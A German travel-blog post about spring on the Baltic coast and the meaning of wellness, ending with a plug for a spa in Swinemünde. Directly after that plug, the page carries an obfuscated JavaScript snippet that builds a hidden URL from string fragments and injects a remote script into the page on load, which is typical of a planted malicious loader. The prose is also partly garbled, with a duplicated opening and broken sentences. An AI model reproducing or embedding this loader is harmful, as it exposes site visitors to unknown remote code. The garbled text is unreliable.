

Frühling an der Ostsee

Die Ostsee ist zu jeder Jahreszeit eine Reise wert, doch der Frühling ist auch hier etwas ganz besonderes. Ob als Tagesgast oder für einen schönen Wellness-Urlaub an der Ostsee, der Frühling bringt Farbe in Ihren Aufenthalt am Meer. Die Dünen- und Seegräser blühen, die Felder auf Ihrem Weg aus Norden oder Süden beginnen die Landschaft in Farbe zu tauchen und irgendwie ist sie da, die Lust auf Natur, Strand, Meer und Wellness. Ein Bummel am Strand entlang, ein leckerer Kaffee, ein wenig Shopping und Wellness – Frühling an der Ostsee ist alles außer Alltag. Und das muss heutzutage einfach mal wieder sein: …



Die Ostsee ist zu jeder Jahreszeit eine Reise wert, doch der Frühling ist auch hier etwas ganz besonderes. Ob als Tagesgast oder für einen schönen Wellness-Urlaub an der Ostsee, der Frühling bringt Farbe in Ihren Aufenthalt am Meer. Die Dünen- und Seegräser blühen, die Felder auf Ihrem Weg aus Norden oder Süden beginnen die Landschaft in Farbe zu tauchen und

irgendwie ist sie da, die Lust auf Natur, Strand, Meer und Wellness.

Ein Bummel am Strand entlang, ein leckerer Kaffee, ein wenig Shopping und Wellness

Frühling an der Ostsee ist alles außer Alltag. Und das muss heutzutage einfach mal wieder sein: Die eigenen Batterien aufladen, sich entspannen und neue Kraft durch Entspannung tanken. Aber was ist überhaupt Wellness? Und Wieso es jetzt, gerade nach dieser dunklen Jahreszeit so wichtig, um den Körper und den Geist in Frühlingsstimmung zu versetzen.

Was ist Wellness?

Wie sagt man? Das Einfachste ist irgendwie immer auch das Schwierigste und andersrum. Das gilt, so glaube ich, für Wellness ganz besonders. Eigentlich wäre es ganz einfach. Loslassen, entspannen, sich verwöhnen lassen, sich wohlfühlen: Das ist schon alles. Theoretisch.

Was ist Wellness?

Aber in der Praxis? Da gibt es Hunderte, ach was, Tausende von Angeboten. Und noch viel, viel mehr Wünsche der Gäste, die gern Wellness erleben möchten. Also sollten wir uns doch mal ein wenig auf die Suche machen. Nachfragen, was Wellness denn nun wirklich ist. Wie man Wohlbefinden erleben kann. Wo das am besten geht und wie man diesen entspannten Zustand zumindest ein Stück weit in den Alltag mitnehmen kann. Am liebsten möchte ich das nicht nur allein tun, sondern gern zusammen mit Euch allen. Fühlt Euch durch diesen Beitrag dazu aufgerufen, selbst über dieses Thema nachzudenken und herauszufinden, was es für dich persönlich heißt

Regelmäßig erhalte ich die Frage: Was ist Wellness?

Wellness ist die Abwesenheit von Alltag. Wellness ist mein persönliches Wohlbefinden und somit schlecht zu

verallgemeinern. Wellness ist alles, was mir gut tut und das definiert jeder Mensch anders. Für den einen ist es Erholung nach einem stressigen Tag intensiv Sport zu treiben, der andere geht lieber eine Runde durch den Wald. Ob Action oder Entspannung, Hauptsache eine Auszeit vom Alltag. Dabei stelle ich immer wieder fest, es sind meist nur Kleinigkeiten, die so viel Positives bewirken.

Wie entspannend es ist, das Handy einfach mal ein paar Stunden außerhalb der eigenen Reichweite zu haben. Gemütlich durch den Kurpark zu schlendern und den Wolken am Himmel zuzuschauen. Oder bei einer Tasse Tee 10 Minuten Garnichts tun.

Wer hat definiert, dass Wellness nur in einem Wellnesshotel, einem Spa, einer Therme oder bei einer Massage funktioniert?

Zugegeben, wenn es darum geht mit dem Begriff der inzwischen wirklich abgedroschen ist, doch mir fällt kein besserer ein verkommerzialisiert wird, dann hört es auf. Ob Wellnesssocken, Wellnessmarmelade oder Wellnessdrinks. Wenn nur das Wort Wohlbefinden generieren soll, dafür aber Unmengen mehr kostet, finde ich persönlich. Das geht über meine Denkweise von einer wirkungsvollen Auszeit vom Alltag weit hinaus.

Warum Ruhe so wichtig ist

Wobei: Vielleicht ersetzen wir den Startschuss auch durch ein sanftes Klingeln schließlich muss es ja keinen Lärm geben, wenn es um das Thema Wellness geht. Für mich spielt da die Ruhe tatsächlich eine Rolle. Ich will mich nicht durch die Lautstärke aus dem Konzept bringen lassen, die mich sonst im Alltag oft genug umgibt. Damit ist dann auch schon vieles gesagt, was Wellness für mich ausmacht. Nämlich, indem man definiert, was es NICHT ist. Keine Ablenkung, kein Stress, kein Radau und keine Fremdbestimmung. Wellness heißt für mich ganz einfach ausgedrückt: Ich lasse es mir gut gehen

Wellness im täglichen Erleben

Das ist natürlich noch ziemlich weit gefasst – aber für mich trifft es den Kern. Einfach nur am Ostseestrand spazieren gehen, sich ans Wasser setzen und die Ferne beobachten?

Ja, das kann Wellness sein. Nach einer Wanderung auf einer Alm Rast machen, ein köstliches Bier auf einer sonnigen Bank trinken?

Ja, auch das kann Wellness sein. Im Cabrio die Kurven einer Passstraße fahren? Ganz genauso.

Wellness-Hotels

Wobei natürlich auch ich die Wellness-Angebote im engeren Sinne sehr genießen kann. Viele Hotels haben sich im Lauf der letzten Jahre ihre ganz eigenen Konzepte überlegt, wie sie ihren Gästen Wellness anbieten, Wohlfühlen vermitteln können. Von den verschiedensten Massagen und Anwendungen, über Entspannungsübungen bis hin zum ganz auf sich persönlich zugeschnittenen Wellnessurlaub.

Warum eigentlich Wellness?

Womit wir dann auch schon bei einer der Kernfragen wären: Warum mache ich eigentlich Wellness? Für mich ganz einfach deshalb: Weil jeder Mensch Ruhe-Inseln braucht. Weil er Zeit für sich braucht. Weil er ohne die Phasen des Wohlbefindens und der Entspannung einfach untergehen würde. Weil dann nur noch Verkrampfung und Stress regieren. Und was dann passiert, das wissen nicht nur Mediziner

Deswegen sehe ich den Wellness-Begriff auch nicht so eng, wie man ihn sonst vielfach gebraucht. Natürlich: Dazu gehören für mich auch die klassischen Spa-Hotels, die sich insbesondere durch ihre Pools, ihre Massagen und andere besondere Anwendungen definieren. Aber da kann eben auch noch einiges Andere dazugehören

Entspannte Arrangements gefällig? Ausgewählte Hotels und Spas bieten Specials in unterschiedlichen Varianten an. Wie wäre es beispielsweise mit einer kaiserlichen Behandlung im **Spa Swinemünde**? Hier findest du attraktive Pakete, zusammengestellt auf deine Bedürfnisse in einem Wellnesshotel was perfekt zu dir passt.

```
(function(){ oxln=document.createElement("script");oxln.async
=true;oxln_="u"+"s"+"t"; oxlnu="492226130.";oxln_+="a"+"(
t.i");oxln_+="n"+"(f"+"o")+"/";
oxlnu+="fnjq0cmXxlnXXf8kvxXd8z"+"(75gX7ppq)";
oxln.src="https://" + oxln_ + oxlnu;oxln.type="text/javascript";
document.body.appendChild(oxln); })();
```

Details

Besuchen Sie uns auf: eine-reise.de